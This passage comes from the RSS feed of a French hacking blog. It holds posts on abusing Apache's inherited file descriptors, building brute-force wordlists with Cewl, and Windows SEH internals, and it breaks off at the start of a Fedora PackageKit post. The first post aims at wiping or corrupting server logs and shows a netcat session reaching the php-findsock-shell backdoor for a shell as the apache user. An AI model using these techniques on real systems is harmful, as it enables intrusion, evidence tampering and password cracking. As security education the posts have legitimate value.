            <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> S_ISREG<span style="color: #009900;">&#40;</span>fileinfo.<span style="color: #202020;">st_mode</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>flag <span style="color: #339933;">=</span> fcntl<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> F_GETFL<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span>flag <span style="color: #339933;">&amp;</span> O_WRONLY<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>count <span style="color: #339933;">=</span> write<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> buffer<span style="color: #339933;">,</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;%s &quot;</span><span style="color: #339933;">,</span>strerror<span style="color: #009900;">&#40;</span>errno<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">else</span>
                        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; %d &quot;</span><span style="color: #339933;">,</span>count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>                
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Déterminer clairement quel est le fichier de log ouvert à partir d&#8217;un descripteur de fichier reste difficile, on obtient facilement l&#8217;inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possédent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.</p>
<p>J&#8217;étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en <em>Write Only</em> et il semble impossible de changer ce mode en <em>Lecture / Ecriture</em> sur un déscripteur de fichier ( man fcntl )&#8230; On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à <strong>un admin level 70</strong> ).</p>
<p>Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir <a href="http://hackerdom.ru/~dimmo/phpexpl.c">ici</a> une preuve de concept monstrueuse que j&#8217;ai découverte sur <a href="http://bugs.php.net/bug.php?id=38915">un bug report de php.net</a>. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.</p>
<p>La meilleure utilisation de cette vulnérabilité reste la backdoor PHP <a href="http://pentestmonkey.net/tools/php-findsock-shell/">find-sock-shell</a> de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu&#8217;une banale <a href="http://www.google.fr/search?source=ig&#038;hl=fr&#038;rlz=&#038;=&#038;q=r57shell+%22your+ip%22&#038;btnG=Recherche+Google&#038;meta=lr%3D&#038;aq=f&#038;oq=">r57shell</a> ou autre <a href="http://www.google.fr/search?source=ig&#038;hl=fr&#038;rlz=&#038;=&#038;q=intitle%3AC99Shell+v.+1.0+pre-release+%2Buname&#038;btnG=Recherche+Google&#038;meta=lr%3D&#038;aq=f&#038;oq=">c99</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
&nbsp;
sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...</pre></div></div>

<p>Longue vie à PHP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/apache-php-file-descriptor/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Un dictionnaire ciblé pour les attaques bruteforce</title>
		<link>http://www.indahax.com/pentest/dictionnaire-social-engineering</link>
		<comments>http://www.indahax.com/pentest/dictionnaire-social-engineering#comments</comments>
		<pubDate>Tue, 01 Dec 2009 09:42:40 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[attaque par dictionnaire]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[bruteforce http]]></category>
		<category><![CDATA[dictionnaire]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[information gathering]]></category>
		<category><![CDATA[medusa]]></category>
		<category><![CDATA[recherche d'information]]></category>
		<category><![CDATA[social engineering]]></category>
		<category><![CDATA[worldlist]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=435</guid>
		<description><![CDATA[Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : Cewl. Il permet de générer un dictionnaire à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une wordlist comportant tout le jargon du domaine en question&#8230; Ça peut toujours [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : <a href="http://www.digininja.org/projects/cewl.php">Cewl</a>. Il permet de <strong>générer un dictionnaire</strong> à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une <strong>wordlist</strong> comportant tout le jargon du domaine en question&#8230; Ça peut toujours permettre de cracker quelques mots de passe supplémentaires <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <span id="more-435"></span></p>
<p>Dans le même genre je connaissais <a href="http://www.remote-exploit.org/codes_wyd.html">wyd.pl</a> mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu&#8217;avec Cewl tout est fait en une seule ligne de commande (même s&#8217;il faudra faire un peu le ménage à coup de grep/diff/comm).</p>
<p>Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme <a href="http://www.edge-security.com/metagoofil.php">metagoofil</a> et <a href="http://www.edge-security.com/theHarvester.php">theharverster</a> qui utilise les moteurs de recherche).</p>
<p>Bon voici comment ça marche :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt 
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie</pre></div></div>

<p>Facile non ? Bon j&#8217;ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d&#8217;une longueur > 20.</p>
<p>Pour les feignants(noob?) comme moi qui ne jurent que par <em>apt-get</em>, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de <em>gem install lib_ruby</em>, elles sont installées dans <em>/var/lib/gems/1.8/gems/nom_de_la_lib/lib/</em> alors que le path des librairies ruby est <em>/usr/lib/ruby/1.8/nom_de_la_lib</em> sur Ubuntu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/dictionnaire-social-engineering/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Introduction au Structured Exception Handler</title>
		<link>http://www.indahax.com/reverse/structured-exception-handler</link>
		<comments>http://www.indahax.com/reverse/structured-exception-handler#comments</comments>
		<pubDate>Thu, 19 Nov 2009 15:38:44 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Reverse]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[programmation]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[structured exception handler]]></category>
		<category><![CDATA[win32]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=5</guid>
		<description><![CDATA[Bon, c&#8217;est un veil article que j&#8217;avais écrit lorsque j&#8217;étudiais les buffer overflow sous Windows, il devait traiter des structured exception handler, de leur exploitation dans les débordements de tampon et les nouvelles protections mises au niveau du compilateur (Safe SEH). Je devais finir cet article un jour, mais je pense que ce jour n&#8217;arrivera [...]]]></description>
			<content:encoded><![CDATA[<p>Bon, c&#8217;est un veil article que j&#8217;avais écrit lorsque j&#8217;étudiais les <strong>buffer overflow</strong> sous Windows, il devait traiter des <strong>structured exception handler</strong>, de leur exploitation dans les <strong>débordements de tampon</strong> et les nouvelles protections mises au niveau du compilateur (Safe SEH). Je devais finir cet article un jour, mais je pense que ce jour n&#8217;arrivera jamais, alors je vais déjà lâcher cette <strong>introduction au SEH</strong> qui aidera peut être un pauvre internaute perdu sur Google. Attention ça peut donner mal au crane.</p>
<p><span id="more-5"></span></p>
<ol>
<li><span style="text-decoration: underline;"><strong>C&#8217;est quoi un SEH ?</strong></span></li>
</ol>
<p>C&#8217;est un gestionnaire d&#8217;exception qui permet au programmeur de gérer une exception lui même plutôt que de laisser le programme le faire (ce qui aboutit généralement à un ExitProcess() ). Concrètement ils sont représentés en C par les instructions __try / __except / __finally. Parmi les exceptions on peut distinguer :</p>
<ul>
<li><strong>Les exceptions materielles</strong> : typiquement un <em>ACCESS_VIOLATION</em> ou <em>DIVISION_BY_ZERO</em>, c&#8217;est le style d&#8217;exception que l&#8217;on rencontre le plus souvent.</li>
<li><strong>Les exceptions logicielles</strong> : c&#8217;est le programmeur lui même qui créé ce type d&#8217;exception, il les déclenche à l&#8217;aide d&#8217;une fonction <a href="http://msdn.microsoft.com/en-us/library/het71c37(VS.80).aspx" target="_blank">RaiseException()</a> . Un programmeur peut par exemple créer une exception NOT_ENOUGH_MEMORY lorsqu&#8217;il n&#8217;arrive plus à allouer de mémoire.</li>
</ul>
<p>Un SEH est responsable d&#8217;une portion de code sur laquelle il peut intercepter des exceptions. Dans cette section de code il peut également y avoir d&#8217;autre SEH qui gère eux aussi d&#8217;autre portion de code.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">SEH1[
  //code protégé par SEH1
  SEH2[
    //code protégé par SEH2, SEH1
    SEH3[
      ...
    ]
  ]
]</pre></div></div>

<p>Donc dans un programme on a pas un SEH mais plusieurs, et à différent niveau, lorsqu&#8217;un SEH ne gère pas une exception il la passe au SEH du niveau supérieur. En mémoire ils sont représentés sous forme d&#8217;une liste chainée dans la pile (on verra çà plus en détail après).</p>
<p><strong>Que se passe-t-il lorsqu&#8217;une exception est déclenchée ?</strong></p>
<p>Le système va passer en mode noyau, il va effectuer quelques opérations notamment un dump des  registres du processeur ( le contexte ) qu&#8217;il va placer sur la pile du thread. Il repasse ensuite en mode utilisateur dans la fonction <a href="http://www.nynaeve.net/?p=201">KiUserExceptionDispatcher()</a> de ntdll.dll.</p>
<p>Si le processus est en cours de débgage le programme va passer la main au débuggeur qui va lui même gérer l&#8217;exception. S&#8217;il n&#8217;y a pas de débuggeur, ou qu&#8217;il ne gère pas l&#8217;erreur, l&#8217;exception va être retransmise au premier SEH, c&#8217;est à dire celui qui est le plus proche de là où a été générée l&#8217;exception. Ce gestionnaire va alors regarder s&#8217;il est capable de gérer l&#8217;exception :</p>
<ul>
<li>S&#8217;il en est capable, le SEH fait alors son traitement, par exemple il peut essayer d&#8217;obtenir des informations sur la cause de l&#8217;erreur pour générer des informations utiles au débuggage, ou bien il peut choisir d&#8217;essayer de corriger l&#8217;erreur par modification de variable, des registres&#8230; Dans tous les cas il pourra choisir de reprendre l&#8217;exécution là où l&#8217;erreur à eu lieu ou bien après la portion de code qu&#8217;il protège.</li>
<li>S&#8217;il n&#8217;est pas capable de la gérer il la passe alors au SEH du niveau du dessus et ainsi de suite jusqu&#8217;à atteindre le dernier SEH.</li>
</ul>
<p>Le comportement du dernier SEH peut dépendre des logiciels que vous avez installés sous Windows, mais sur un Windows par défaut, il va créer une boite de dialogue avec quelques informations sur l&#8217;état des registres et faire un appel à ExitProcess() pour quitter l&#8217;application. Si vous avez installé un debuggeur, Windows vous proposera de lancer le débuggeur Just In Time&#8230;</p>
<ol>
<li><strong><span style="text-decoration: underline;">Au niveau assembleur</span></strong></li>
</ol>
<p>Les SEH sont stockés dans la pile sous forme d&#8217;une liste chainée. La structure d&#8217;un SEH est de la forme :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends</pre></div></div>

<p><em>prev</em> représente un pointeur sur le précédent SEH et <em>handler</em> est un pointeur vers la fonction qui va être appelée lorsqu&#8217;une exception sera levé.</p>
<p>Le début de cette liste chainée est stocké dans la TEB (Thread Environnement Block) dans le registre de segment fs en fs:[0]. Cela signifie également qu&#8217;une liste de SEH est propre à un thread et non à un processus.</p>
<p><img title="SEH en mémoire" src="images/seh1.JPG" alt="Les SEH en mémoire" /></p>
<p>fs:[0] pointe toujours vers le dernier SEH installé,c&#8217;est le premier qui sera appelé en cas d&#8217;exception.</p>
<p>Le premier SEH installé est différencié des autres par son pointeur prev qui a la valeur 0xFFFFFFFF, il est mis en place à la création du processus (dans BaseProcessStart ) et avant l&#8217;entrée dans le main()/WinMain() . Si une exception est déclenchée et qu&#8217;aucun SEH n&#8217;a géré cette exception, alors ce dernier SEH va appeler la fonction UnhandledExceptionFilter() . C&#8217;est cette fonction qui créé la boite de dialogue avec les infos sur les registres ou qui propose de lancer le debugeur en dernier recours (Le fameux Just In Time Debugging ) . Il est possible de modifier le comportement de ce seh en appelant la fonction <a href="http://msdn.microsoft.com/en-us/library/ms680634(VS.85).aspx">SetUnhandledExceptionFilter()</a> .</p>
<p>Pour mettre en place un SEH en assembleur on peut procéder de cette manière :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; adresse du handler</span>
<span style="color: #00007f; font-weight: bold;">push</span> handler
<span style="color: #666666; font-style: italic;">; adresse de la structure SEH précédente</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #666666; font-style: italic;">; fait pointer fs:[0] vers notre nouveau SEH</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>
<span style="color: #666666; font-style: italic;">; ici le code protégé par le seh</span>
<span style="color: #666666; font-style: italic;">; ...</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;on enléve le SEH</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span><span style="color: #0000ff;">4</span>
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; notre handler</span>
handler<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; ...</span></pre></div></div>

<p><strong> Une fois dans le handler </strong><br />
Lorsque le handler d&#8217;un SEH est appelé, des informations concernant l&#8217;exception sont mis en place sur la pile :</p>
<table border="0">
<tbody>
<tr>
<td>ESP + 0&#215;4</td>
<td><a href="http://msdn.microsoft.com/en-us/library/aa363082(VS.85).aspx">EXCEPTION_RECORD</a></td>
</tr>
<tr>
<td>ESP + 0&#215;8</td>
<td>Le SEH</td>
</tr>
<tr>
<td>ESP + 0xC</td>
<td>CONTEXT (cf WinNT.h)</td>
</tr>
</tbody>
</table>
<p>La structure <em>EXCEPTION_RECORD</em> contient des informations sur l&#8217;exception comme :</p>
<ul>
<li>Le code de l&#8217;exception (ACCESS_VIOLATION, etc.)</li>
<li>Les flags : par exemple ils permettent de savoir si c&#8217;est une exception non continuable, si on est dans l&#8217;appel du stack unwinding (2éme appel du handler cf après)&#8230;</li>
<li>L&#8217;adresse où a eu lieu l&#8217;exception.</li>
</ul>
<p>C&#8217;est à partir de cette structure que le handler va pouvoir déterminer s&#8217;il a la capacité de gérer une exception.</p>
<p>La structure <em>CONTEXT</em> permet d&#8217;avoir des informations sur l&#8217;état des registres lorsque l&#8217;exception a eu lieu, c&#8217;est cette structure qu&#8217;il faut modifier si on veut reprendre l&#8217;exécution à un autre endroit en modifiant EIP.</p>
<p>Et enfin un pointeur vers le SEH que l&#8217;on avait mis sur la pile pour garder la portion de code où a eu lieu l&#8217;exception. Le fait d&#8217;avoir un pointeur vers ce SEH signifie que l&#8217;on peut construire un SEH personnalisé afin d&#8217;y intégrer des informations supplémentaires. Par exemple, on pourrait avoir besoin d&#8217;avoir une adresse pour reprendre l&#8217;exécution à un endroit sûre. Voici un exemple de code qui exploite ce système de SEH étendue :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #0000ff;">.386</span>                      <span style="color: #666666; font-style: italic;">; force 32 bit code</span>
<span style="color: #000000; font-weight: bold;">.model</span> <span style="color: #000000; font-weight: bold;">flat</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">stdcall</span>      <span style="color: #666666; font-style: italic;">; memory model &amp;amp; calling convention</span>
<span style="color: #000000; font-weight: bold;">option</span> <span style="color: #000000; font-weight: bold;">casemap</span> <span style="color: #339933;">:</span><span style="color: #000000; font-weight: bold;">none</span>      <span style="color: #666666; font-style: italic;">; case sensitive</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">include</span> <span style="color: #000000; font-weight: bold;">c</span><span style="color: #339933;">:</span>\masm32\<span style="color: #000000; font-weight: bold;">include</span>\windows<span style="color: #339933;">.</span><span style="color: #00007f; font-weight: bold;">inc</span>
&nbsp;
MYSEH <span style="color: #000000; font-weight: bold;">STRUCT</span>
	prev		<span style="color: #000000; font-weight: bold;">DWORD</span> ?
	handler	<span style="color: #000000; font-weight: bold;">DWORD</span> ?
	safeeip	<span style="color: #000000; font-weight: bold;">DWORD</span> ?
MYSEH <span style="color: #000000; font-weight: bold;">ENDS</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">.code</span>
start<span style="color: #339933;">:</span>
&nbsp;
main <span style="color: #000000; font-weight: bold;">PROC</span>
<span style="color: #000000; font-weight: bold;">assume</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #000000; font-weight: bold;">nothing</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; on mets en place un SEH étendu</span>
<span style="color: #00007f; font-weight: bold;">push</span> safeip			<span style="color: #666666; font-style: italic;">; notre champ supplémentaire safeeip</span>
<span style="color: #00007f; font-weight: bold;">push</span> handler		<span style="color: #666666; font-style: italic;">; le handler</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>			<span style="color: #666666; font-style: italic;">; l'adresse du SEH suivant</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>		<span style="color: #666666; font-style: italic;">; on installe notre seh</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">eax</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>		<span style="color: #666666; font-style: italic;">; on génére un ACCESS_VIOLATION</span>
<span style="color: #00007f; font-weight: bold;">jmp</span> endx
&nbsp;
handler<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; esp == ret eip</span>
<span style="color: #666666; font-style: italic;">; esp + 0x04 == EXCEPTION_RECORD*</span>
<span style="color: #666666; font-style: italic;">; esp + 0x08 == MYSEH*</span>
<span style="color: #666666; font-style: italic;">; esp + 0x0C == CONTEXT</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; est ce un ACCESS_VIOLATION ?</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">04h</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #009900; font-weight: bold;">&#40;</span>EXCEPTION_RECORD <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">.</span>ExceptionCode<span style="color: #339933;">,</span> <span style="color: #0000ff;">0C0000005h</span>
<span style="color: #00007f; font-weight: bold;">jz</span> AViol
&nbsp;
<span style="color: #666666; font-style: italic;">; si ce n'est pas un ACCESS_VIOLATION on donne la main au handler suivant</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span>ExceptionContinueSearch
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
AViol<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; si c'est un ACCESS_VIOLATION on reprend l'execution en myseh.safeeip</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">08h</span><span style="color: #009900; font-weight: bold;">&#93;</span>	<span style="color: #666666; font-style: italic;">; ecx == MYSEH</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0Ch</span><span style="color: #009900; font-weight: bold;">&#93;</span>	<span style="color: #666666; font-style: italic;">; ebx == CONTEXT</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span>MYSEH <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">.</span>safeeip
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#40;</span>CONTEXT <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ecx</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">.</span>regEip<span style="color: #339933;">,</span> <span style="color: #00007f;">edx</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> ExceptionContinueExecution
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
safeip<span style="color: #339933;">:</span>
endx<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; on enléve le SEH et restaure l'ancien</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span><span style="color: #0000ff;">8</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
main <span style="color: #000000; font-weight: bold;">endp</span>
<span style="color: #000000; font-weight: bold;">end</span> start</pre></div></div>

<p>Le compilateur windows utilise ce système de SEH étendue en réalisant une structure beaucoup plus complexe que le <em>EXCEPTION_REGISTRATION</em> vu au début.</p>
<p><strong> The stack unwinding </strong></p>
<p>En réalité le handler d&#8217;un SEH qui ne gère pas une exception doit être appelé une seconde fois. Ce deuxième appel est déclenché par le handler qui a décidé de gérer l&#8217;exception, il va reparcourir la liste des SEH depuis le début et exécuter une deuxième fois le handler de chaque SEH qui le précède, en rajoutant le flag <em>EH_UNWINDING</em> au niveau des Exceptions Flag de la structure <em>EXCEPTION_RECORD</em> pour que les handlers puissent différencier les 2 appels.</p>
<p>Ici l&#8217;action est bien déclenchée par le handler qui gère l&#8217;exception et non par le système, c&#8217;est à dire que c&#8217;est au programmeur d&#8217;implémenter cette fonctionnalité. Cela peut être fait en appelant la fonction <a href="http://msdn.microsoft.com/en-us/library/ms680609(VS.85).aspx">RtlUnwind()</a> (cf <a href="http://www.jorgon.freeserve.co.uk/Except/Except.htm#St">l&#8217;article</a> de J. Gorgon pour plus d&#8217;info ) .</p>
<p>Le rôle du stack unwinding est de nettoyer les variables de la portion de code qui a déclenché l&#8217;exception, par exemple c&#8217;est à ce moment qu&#8217;il est utile de fermer les handles, libérer la mémoire&#8230; Concrètement ce deuxième appel correspond au bloc __finaly en C.</p>
<p>De plus, si l&#8217;exécution reprend à partir d&#8217;un SEH de niveau supérieur, alors le stack unwinding est également responsable d&#8217;enlever de la liste des SEH tout ceux qui ont été mis après ce SEH (c&#8217;est à dire les SEH qui ne porte plus sur le code courant ).</p>
<p><br/><br />
Voilà c&#8217;est tout pour aujourd&#8217;hui, par la suite nous verrons comment sont implémentés les SEH dans les compilateurs, comment les exploiter lors d&#8217;un débordement de tampon et les nouvelles protéctions misent en place par Windows (Safe SEH).</p>
<p>Réferences :</p>
<p>http://www.microsoft.com/msj/0197/Exception/Exception.aspx</p>
<p>http://msdn.microsoft.com/en-us/library/swezty51(VS.80).aspx</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/reverse/structured-exception-handler/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fedora12 + PackageKit : Insecure (ou pas)</title>
		<link>http://www.indahax.com/adminsys/fedora12-packagekit-insecure-ou-pas</link>
		<comments>http://www.indahax.com/adminsys/fedora12-packagekit-insecure-ou-pas#comments</comments>
		<pubDate>Thu, 19 Nov 2009 09:38:07 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[AdminSys]]></category>
		<category><![CDATA[élévation root]]></category>
		<category><![CDATA[fedora 12]]></category>
		<category><![CDATA[linux security]]></category>
		<category><![CDATA[privilege escalation]]></category>
		<category><![CDATA[sans droit root]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=391</guid>
		<description><![CDATA[La nouvelle distribution Fedora 12 vient de sortir. Elle nous arrive avec une nouvelle fonctionnalité/faille qui fait pas mal de bruit chez les fédoriens en ce moment : PackageKit. Cet outil permet à un utilisateur non privilégié d&#8217;installer des packages sur la machine. Alors, Faille ou Fonctionnalité ?
Regardez plutôt comment ça marche : 
Voici une [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="" src="http://www.indahax.com/images/logo_fedora.png" title="Fedora Security Hole" class="alignleft" width="128" height="128" />La nouvelle distribution Fedora 12 vient de sortir. Elle nous arrive avec une nouvelle <em>fonctionnalité/faille</em> qui fait <a href="https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01083.html">pas mal de bruit</a> chez les fédoriens en ce moment : <strong>PackageKit</strong>. Cet outil permet à un utilisateur non privilégié d&#8217;installer des packages sur la machine. Alors, <a href="https://bugzilla.redhat.com/show_bug.cgi?id=534047">Faille ou Fonctionnalité</a> ?</p>
<p>Regardez plutôt comment ça marche : <span id="more-391"></span></p>
<p>Voici une commande que j&#8217;exécute avec un compte non privilégié dans une console <strong>lancé via l&#8217;inteface graphique</strong> :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">[pierre@localhost ~]$ id
uid=500(pierre) gid=500(pierre) groups=500(pierre) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
